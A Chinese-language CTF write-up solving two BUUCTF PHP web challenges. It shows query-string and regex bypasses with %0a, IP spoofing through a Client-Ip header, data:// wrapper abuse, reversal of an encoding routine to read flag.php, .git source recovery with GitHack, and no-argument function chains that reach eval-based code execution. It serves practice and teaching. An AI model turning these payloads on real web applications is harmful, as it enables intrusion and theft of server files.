【buuctf】套娃

张开发
2026/5/21 19:47:15 15 分钟阅读
【buuctf】套娃
#学习笔记和解题过程复现目录题目一[MRCTF2020]套娃题目二[GXYCTF2019]禁止套娃题目一[MRCTF2020]套娃查看源代码发现特殊代码!-- //1st $query $_SERVER[QUERY_STRING]; if( substr_count($query, _) ! 0 || substr_count($query, %5f) ! 0 ){ die(Y0u are So cutE!); } if($_GET[b_u_p_t] ! 23333 preg_match(/^23333$/, $_GET[b_u_p_t])){ echo you are going to the next ~; } !--代码审计获取当前 URL 中问号?后面的查询字符串query string$query中含有_或%5f,则输出You are So cutE!。第二个if语句2个条件判断相矛盾不能同时满足$_GET[b_u_p_t] ! 23333preg_match(/^23333$/, $_GET[b_u_p_t])返回真。要求它以 23333 开头并结束。绕过第一层验证 用%0a换行符绕过正则用空格代替_绕过黑名单http://307dfa03-d873-48ee-b3f3-acd95ee05e84.node5.buuoj.cn:81/?b u p t23333%0a补充知识点%0a绕过常用场景%0aURL编码中的换行符1.HTTP响应头拆分攻击HTTP RESPONSE SPLITTING当用户输入被未经净化地插入到HTTP响应头如Location或Set-Cookie时攻击者可以注入CRLF\r\n%0d%0a序列来提前结束当前响应头并添加任意响应体与新的响应头。2.命令注入COMMAND INJECTION的绕过当应用使用黑名单过滤命令分隔符如 ;, , |时%0a 常被用作替代分隔符。3.日志注入LOG INJECTION与数据污染如果应用将用户输入直接写入日志文件且后续有日志分析系统如使用 grep, awk 按行分析注入 %0a 可以伪造日志条目干扰审计、触发分析脚本的异常行为甚至可能因日志解析器的漏洞导致代码执行。得到信息FLAG is in secrettw.php。毋庸置疑先尝试访问secrettw.php在源代码中发现了jsfuck编码复制到控制台中看下结果显示POST me Merak。接着我们进行POST传值值随意发现提示“Flag is here”以及flag.php存在进行代码审计Flag is here~But how to get it? ?php error_reporting(0); include takeip.php; ini_set(open_basedir,.); include flag.php; if(isset($_POST[Merak])){ highlight_file(__FILE__); die(); } function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr ( ord ($v[$i]) $i*2 ); } return $re; } echo Local access only!.br/; $ip getIp(); if($ip!127.0.0.1) echo Sorry,you dont have permission! Your ip is :.$ip; if($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day ){ echo Your REQUEST is:.change($_GET[file]); echo file_get_contents(change($_GET[file])); } ?代码有两个核心判断1.关键限制与突破口IP伪造文件读取绕过if($ip 127.0.0.1 file_get_contents($_GET[2333]) todat is a happy day )限制1ip必须是127.0.0.1可在HTTP请求头中伪造X-Forwarded-For、Client-Ip等骗过ip校验限制2file_get_contents($_GET[2333])必须返回“todat is a happy day”突破口不能直接传文件名本地不存在可利用php的伪协议来直接返回内容而不是读取真实文件。data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk将字符串进行base64编码php://inputPOST数据会被作为内容返回data://text/plain,todat is a happy day直接在URL中包含文本2.change()函数逆向当上述两个限制满足就会执行两个echo语句function change($v){ $v base64_decode($v); $re ; for($i0;$istrlen($v);$i){ $re . chr ( ord ($v[$i]) $i*2 ); } return $re; } echo Your REQUEST is:.change($_GET[file]); echo file_get_contents(change($_GET[file])); }change()函数是一个简单的编码函数我们需要根据上述源代码function change($v)函数逆向来构造file参数让输出结果为flag.php的内容。以下是构造file参数读取flag.php。?php $targetfile_get_content(flag.php); $string; for($i0;$istrlen($target);$i){ $string . chr(ord($target[$i]) - $i*2); } $payloadbase64_encode($string); echo $payload; ? 输出结果是ZmpdYSZmXGI将生成的$payload作为file参数的值。经尝试直接在URL中包含文本最终的payload是?2333data://text/plain,todat is a happy day fileZmpdYSZmXGIhttp://307dfa03-d873-48ee-b3f3-acd95ee05e84.node5.buuoj.cn:81/secrettw.php?2333data://text/plain,todat is a happy day fileZmpdYSZmXGI使用BP进行抓包同时在请求头中带上Client-Ip:127.0.0.1得到的响应中携带了flag值。题目二[GXYCTF2019]禁止套娃只有简单的一句话并且查看源代码没有特殊发现用dirsearch目录扫描发现大量的git相关文件并有git文件指向题目的URL想可能存在一定关联。其思路有参考其他资料dirsearch -u https://target.com -e git #扫描发现git目录猜测是git源码泄露Git 源码泄露是指网站开发者在部署代码时错误地将项目根目录下的.git文件夹Git 版本控制系统的核心目录一起上传到了 Web 服务器导致攻击者可以通过 HTTP/HTTPS 访问并下载整个代码仓库。工具介绍GitHack是一个.git泄露利用测试脚本通过泄露的文件还原重建工程源代码。用国内镜像克隆git clone https://gitee.com/mirrors/GitHack.git工具下载http://github.com/lijiejie/GitHack然后在kali工具GitHack目录下找到index.php文件并读取其代码index.php文件3层过滤:?php include flag.php; echo flag在哪里呢br; if(isset($_GET[exp])){ //第一层过滤伪协议 if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) { //第二层检查是否为纯函数调用 if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) { //第三层过滤敏感函数名关键词 if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) { // echo $_GET[exp]; eval($_GET[exp]); //执行payload } else{ die(还差一点哦); } } else{ die(再好好想想); } } else{ die(还想读flag臭弟弟); } } // highlight_file(__FILE__); ?代码审计这是一个典型的无参数函数调用(RCE)通过构造特殊的payload绕过层层过滤最终执行任意代码读取flag。1.禁止使用data://, filter://, php://, phar://2.匹配所有无参数函数调用如 a(), a(b()), a(b(c()))3.构造payload无参数函数RCE相关介绍可参考禁止套娃题--详解方法一?expprint_r(scandir(pos(localeconv())));这是一个无参数函数调用链用于获取当前目录的文件列表。1.localeconv():返回当前本地化环境的数字格式化信息返回值是一个关联数组包含本地化配置数组的第一个元素总是 .小数点。2.pos(localeconv()):pos()是current()函数的别名返回数组当前指针指向的元素结果返回.(一个点字符)。3.scandir(pos(localeconv()))执行scandir(.)扫描当前目录返回当前目录下的所有文件和文件夹的数组。4.print_r(...)以人类可读的方式打印数组内容直接输出到页面。再返回的数组中flag.php是数组的第4个索引为3但由于不能直接写数字参数需要间接获取。使用 array_reverse() next()array_reverse(next(scandir(.)))array_reverse():反转数组使flag.php的索引变为1next(): 不仅使指针移动到下一位还返回移动后的值方法二因为php不会自动开启session所以用session_id(session_start())来开启。输入下面的payload进行抓包。?expshow_source(session_id(session_start()));添加CookiePHPSESSIDflag.phpPHPSESSID 是 PHP 用于识别用户会话Session的唯一标识符本质上是一个存储于客户端的 Cookie其值是一个随机生成的字符串作为身份牌让服务器能将后续请求与特定的会话数据关联起来。添加完Cookie之后放行Forward之后页面出现flag。

更多文章